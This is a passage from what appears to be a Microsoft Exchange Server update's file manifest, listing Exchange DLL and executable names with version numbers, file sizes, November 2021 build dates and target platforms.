18:18| x64 \nMicrosoft.exchange.autodiscoverv2.dll| 15.2.986.14| 57,224| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.bandwidthmonitorservicelet.dll| 15.2.986.14| 14,736| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.batchservice.dll| 15.2.986.14| 35,728| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.cabutility.dll| 15.2.986.11| 276,360| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.certificatedeployment.eventlog.dll| 15.2.986.11| 16,248| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 15.2.986.14| 25,992| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.certificatenotification.eventlog.dll| 15.2.986.11| 13,696| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.certificatenotificationservicelet.dll| 15.2.986.14| 23,416| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.clients.common.dll| 15.2.986.14| 378,248| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.clients.eventlogs.dll| 15.2.986.11| 83,840| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.clients.owa.dll| 15.2.986.14| 2,971,528| 3-Nov-21| 21:01| x86 \nMicrosoft.exchange.clients.owa2.server.dll| 15.2.986.14| 5,019,024| 3-Nov-21| 20:57| x86 \nMicrosoft.exchange.clients.owa2.servervariantconfiguration.dll| 15.2.986.14| 893,304| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.clients.security.dll| 15.2.986.14| 413,064| 3-Nov-21| 20:37| x86 \nMicrosoft.exchange.clients.strings.dll| 15.2.986.11| 924,536| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.cluster.bandwidthmonitor.dll| 15.2.986.14| 31,120| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.cluster.common.dll| 15.2.986.11| 52,088| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.cluster.common.extensions.dll| 15.2.986.14| 21,896| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.cluster.diskmonitor.dll| 15.2.986.14| 33,672| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.cluster.replay.dll| 15.2.986.14| 3,562,896| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.2.986.13| 108,424| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.2.986.14| 288,632| 3-Nov-21| 20:01| x64 \nMicrosoft.exchange.cluster.shared.dll| 15.2.986.14| 627,600| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.common.agentconfig.transport.dll| 15.2.986.14| 86,392| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.componentconfig.transport.dll| 15.2.986.14| 1,830,280| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.common.directory.adagentservicevariantconfig.dll| 15.2.986.14| 31,608| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.directory.directoryvariantconfig.dll| 15.2.986.14| 466,304| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.common.directory.domtvariantconfig.dll| 15.2.986.14| 25,976| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.directory.ismemberofresolverconfig.dll| 15.2.986.14| 38,264| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.directory.tenantrelocationvariantconfig.dll| 15.2.986.14| 102,776| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.2.986.14| 48,528| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.2.986.13| 67,464| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.dll| 15.2.986.13| 172,936| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.2.986.14| 113,528| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.il.dll| 15.2.986.11| 13,704| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.inference.dll| 15.2.986.14| 130,440| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.optics.dll| 15.2.986.13| 63,888| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.2.986.11| 19,832| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.2.986.11| 15,248| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.search.dll| 15.2.986.14| 108,920| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.2.986.11| 17,800| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.common.smtp.dll| 15.2.986.14| 51,088| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.2.986.14| 36,728| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.2.986.13| 27,536| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.2.986.14| 1,042,296| 3-Nov-21| 18:27| x86 \nMicrosoft.exchange.commonmsg.dll| 15.2.986.11| 29,064| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.2.986.11| 13,200| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.2.986.14| 181,112| 3-Nov-21| 20:43| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.2.986.11| 30,088| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.compliance.common.dll| 15.2.986.14| 22,416| 3-Nov-21| 19:16| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.2.986.11| 85,904| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.compliance.dll| 15.2.986.13| 35,208| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.2.986.13| 37,264| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.2.986.14| 50,568| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.2.986.14| 33,160| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.2.986.14| 1,099,144| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.2.986.14| 206,216| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.2.986.14| 210,824| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.compression.dll| 15.2.986.13| 17,296| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.2.986.14| 37,768| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.2.986.11| 14,200| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.configuration.core.dll| 15.2.986.14| 150,920| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.2.986.11| 14,208| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.2.986.14| 53,136| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.2.986.11| 15,744| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.2.986.14| 23,440| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.2.986.14| 54,648| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.2.986.11| 13,712| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.2.986.14| 1,847,184| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.2.986.11| 30,072| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.2.986.14| 68,496| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.2.986.11| 15,224| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.2.986.14| 21,392| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.2.986.13| 25,984| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.connections.common.dll| 15.2.986.14| 169,864| 3-Nov-21| 18:31| x86 \nMicrosoft.exchange.connections.eas.dll| 15.2.986.14| 330,104| 3-Nov-21| 18:33| x86 \nMicrosoft.exchange.connections.imap.dll| 15.2.986.14| 173,944| 3-Nov-21| 18:34| x86 \nMicrosoft.exchange.connections.pop.dll| 15.2.986.14| 71,032| 3-Nov-21| 18:33| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.2.986.11| 203,648| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.context.client.dll| 15.2.986.14| 27,024| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.context.configuration.dll| 15.2.986.14| 51,576| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.context.core.dll| 15.2.986.14| 51,576| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.2.986.14| 46,984| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.core.strings.dll| 15.2.986.11| 1,093,504| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.core.timezone.dll| 15.2.986.11| 57,208| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.2.986.11| 326,536| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.2.986.14| 3,357,560| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.2.986.11| 35,704| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.2.986.14| 17,808| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.data.connectors.dll| 15.2.986.14| 165,264| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.2.986.14| 619,408| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.data.directory.dll| 15.2.986.14| 7,799,696| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.2.986.11| 80,248| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.data.dll| 15.2.986.14| 1,966,992| 3-Nov-21| 18:45| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.2.986.14| 1,631,112| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.data.ha.dll| 15.2.986.14| 377,736| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.2.986.14| 105,360| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.2.986.14| 15,760| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.2.986.14| 224,656| 3-Nov-21| 19:17| x86 \nMicrosoft.exchange.data.mapi.dll| 15.2.986.14| 186,744| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.2.986.13| 39,800| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.metering.dll| 15.2.986.14| 119,160| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.2.986.13| 968,064| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.notification.dll| 15.2.986.14| 141,200| 3-Nov-21| 19:17| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.2.986.14| 769,424| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.data.providers.dll| 15.2.986.14| 139,664| 3-Nov-21| 19:16| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.2.986.14| 56,720| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.2.986.14| 452,488| 3-Nov-21| 19:06| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.2.986.14| 32,648| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.2.986.11| 256,912| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.storage.dll| 15.2.986.14| #########| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.2.986.11| 37,752| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.2.986.13| 655,752| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.2.986.14| 175,480| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.2.986.14| 36,216| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.2.986.11| 14,208| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.2.986.11| 14,208| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.2.986.11| 14,712| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.2.986.14| 72,592| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.2.986.14| 22,904| 3-Nov-21| 19:03| x86 \nMicrosoft.exchange.diagnostics.dll| 15.2.986.13| 1,815,928| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.diagnostics.dll.deploy| 15.2.986.13| 1,815,928| 3-Nov-21| 18:11| Not applicable \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.2.986.14| 23,952| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.2.986.14| 546,680| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.2.986.11| 215,416| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.2.986.14| 194,424| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.2.986.14| 146,312| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.2.986.14| 27,536| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.2.986.11| 13,704| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.2.986.14| 49,528| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.2.986.11| 28,024| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.2.986.14| 208,784| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.2.986.11| 88,968| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.2.986.13| 32,648| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.2.986.14| 45,944| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.2.986.14| 18,832| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.dxstore.dll| 15.2.986.14| 468,864| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.2.986.11| 206,224| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.2.986.14| 36,752| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.2.986.14| 131,448| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.2.986.14| 21,896| 3-Nov-21| 19:05| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.2.986.14| 148,344| 3-Nov-21| 19:08| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.2.986.14| 220,048| 3-Nov-21| 19:11| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.2.986.11| 23,944| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.2.986.14| 97,672| 3-Nov-21| 19:10| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.2.986.13| 1,266,056| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.2.986.13| 1,266,056| 3-Nov-21| 18:11| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,519| 3-Nov-21| 18:18| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.2.986.13| 87,440| 3-Nov-21| 18:13| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 67,473| 3-Nov-21| 18:18| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.2.986.11| 52,088| 3-Nov-21| 18:18| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.2.986.14| 292,216| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.2.986.14| 72,592| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.2.986.14| 45,968| 3-Nov-21| 19:21| x86 \nMicrosoft.exchange.entities.booking.dll| 15.2.986.14| 218,000| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.2.986.14| 78,216| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.2.986.14| 35,728| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.2.986.14| 934,800| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.entities.common.dll| 15.2.986.14| 336,264| 3-Nov-21| 19:21| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.2.986.14| 52,624| 3-Nov-21| 19:23| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.2.986.14| 32,144| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.entities.context.dll| 15.2.986.14| 60,816| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.2.986.14| 854,416| 3-Nov-21| 19:20| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.2.986.14| 290,680| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.2.986.14| 39,304| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.2.986.14| 76,176| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.entities.insights.dll| 15.2.986.14| 166,792| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.2.986.14| 1,486,736| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.2.986.14| 122,256| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.2.986.14| #########| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.2.986.14| 263,568| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.entities.people.dll| 15.2.986.14| 37,776| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.2.986.14| 186,768| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.2.986.14| 64,400| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.2.986.14| 83,848| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.2.986.14| 63,888| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.2.986.14| 99,720| 3-Nov-21| 19:40| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.2.986.14| 144,784| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.2.986.14| 270,216| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.2.986.11| 15,224| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.2.986.14| 15,736| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.eserepl.dll| 15.2.986.14| 131,960| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.2.986.14| 254,352| 3-Nov-21| 19:16| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.2.986.11| 13,192| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.2.986.14| 37,256| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.2.986.14| 641,928| 3-Nov-21| 18:34| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.2.986.14| 37,240| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.2.986.14| 146,312| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.2.986.14| 596,880| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.2.986.11| 14,712| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.2.986.14| 30,072| 3-Nov-21| 21:27| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.2.986.14| 99,704| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.2.986.14| 42,376| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.helpprovider.dll| 15.2.986.14| 40,840| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.2.986.14| 54,144| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.2.986.14| 164,232| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.2.986.14| 58,760| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.2.986.14| 204,664| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.2.986.14| 17,784| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.2.986.14| 30,584| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.2.986.14| 38,800| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.2.986.14| 48,520| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.2.986.14| 180,600| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.2.986.14| 36,752| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.httprequestfiltering.dll| 15.2.986.14| 28,040| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.httputilities.dll| 15.2.986.14| 25,984| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.2.986.14| 1,868,152| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.2.986.11| 54,672| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.2.986.14| 35,720| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.idserialization.dll| 15.2.986.11| 35,728| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.2.986.11| 18,320| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.2.986.11| 18,320| 3-Nov-21| 18:13| Not applicable \nMicrosoft.exchange.imap4.exe| 15.2.986.14| 262,536| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.2.986.14| 262,536| 3-Nov-21| 19:38| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.2.986.14| 24,952| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.2.986.14| 24,952| 3-Nov-21| 19:37| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.2.986.14| 53,112| 3-Nov-21| 18:23| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.2.986.14| 216,976| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.2.986.14| 32,136| 3-Nov-21| 20:07| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.2.986.14| 282,000| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.2.986.14| 18,832| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.2.986.14| 83,832| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.2.986.11| 15,240| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.2.986.11| 94,096| 3-Nov-21| 18:14| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.2.986.14| 1,841,016| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.2.986.11| 71,552| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.2.986.14| 175,504| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.2.986.11| 45,960| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.2.986.11| 159,616| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.2.986.11| 51,064| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.2.986.11| 45,968| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 15.2.986.14| 32,120| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.2.986.11| 100,216| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.2.986.11| 13,200| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.2.986.14| 271,224| 3-Nov-21| 20:42| x86 \nMicrosoft.exchange.killswitch.dll| 15.2.986.11| 22,416| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.2.986.14| 33,656| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.2.986.11| 18,296| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.2.986.11| 15,224| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.2.986.11| 27,512| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.2.986.14| 30,600| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.2.986.11| 22,400| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.2.986.14| 66,440| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.2.986.13| 29,584| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.2.986.14| 19,848| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.2.986.11| 20,344| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.2.986.14| 19,336| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.2.986.14| 34,184| 3-Nov-21| 19:03| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.2.986.11| 103,824| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.2.986.14| 31,624| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.2.986.11| 15,736| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.2.986.14| 20,880| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.2.986.13| 16,248| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.2.986.14| 49,032| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.2.986.14| 44,424| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 